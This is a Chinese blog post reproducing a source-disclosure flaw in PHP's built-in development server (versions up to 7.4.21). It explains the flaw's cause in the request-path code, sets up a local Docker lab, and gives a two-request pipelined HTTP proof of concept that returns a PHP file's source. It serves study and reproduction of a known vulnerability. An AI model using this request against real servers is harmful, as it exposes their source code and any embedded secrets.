php<= 7 . 4 . 21 development server源码泄露漏洞复现

发布时间 2023-10-30 23:44:10作者: 凪白Kw

前言

前一段时间在看羊城杯wp里了解到了这个漏洞,觉得挺有意思尝试复现一下(

这里附上原漏洞地址

https://blog.projectdiscovery.io/php-http-server-source-disclosure/

版本

PHP<= 7 . 4 . 21

漏洞成因

通过php -S开起的内置WEB服务器存在源码泄露漏洞,可以将PHP文件作为静态文件直接输出源码

这里直接给出POC

GET /phpinfo.php HTTP/1.1  //这里的phpinfo.php必须是存在的文件,也就是要读取源码的文件
Host: 192.168.xxx.xxx:xx


GET /Kawakaze HTTP/1.1 //这里的Kawakaze是不存在的文件


ps:这里一定要换行

这里我们稍微解释一下第一个GET和第二个GET的作用分别是什么
第一个GET后的/phpinfo.php是直接访问已存在的phpinfo.php文件(一般可以是访问index.php) PHP源码中的php_cli_server_request_translate_vpath函数将请求的PHP文件的路径转换为文件系统上的完整路径。如果请求的文件是一个目录,它会检查是否存在索引文件,如index.php或 index.html,并使用其中一个文件的路径(如果找到的话)。这允许服务器响应请求提供正确的文件
而第二个GET后的/请求的是目录而不是文件。此PHP版本提供的代码包括一个检查,以确定请求的文件是应被视为静态文件还是作为PHP文件执行。这是通过检查文件的扩展名来完成的。如果扩展不是.php或.PHP,或者如果扩展名的长度不等于3,则该文件被视为静态文件,因此如果我们把第二个GET请求的内容改为类似1.txt的文件时,php源码将会被以静态文件的方式泄露(即直接访问获取)

漏洞复现

kali虚拟机下载docker

apt-get install docker.io

启动docker

service docker start

docker拉取PHP 7.4.21的镜像

docker pull php:7.4.21 

运行镜像 将docker 的80端口映射到kali的8080端口

docker run -it -p 8080:80  4ad229e4e700  /bin/bash

创建phpinfo.php

echo "<?php phpinfo();?>" > phpinfo.php

启动php web server

php -S 0.0.0.0:80

访问192.168.xxx.xxx:8080 //kali的地址

ok开始抓包,发送到repeater模块

PS:一定能要关闭自动更新Content-Length

写入payload

发送,成功读取到phpinfo.php的源码

参考文章

【漏洞复现】php5.5.45-8.0.2任意文件读取 - FreeBuf网络安全行业门户
https://www.freebuf.com/vuls/359359.html

PHP<=7.4.21 Development Server源码泄露漏洞 (buaq.net)
https://buaq.net/go-147962.html
————————————————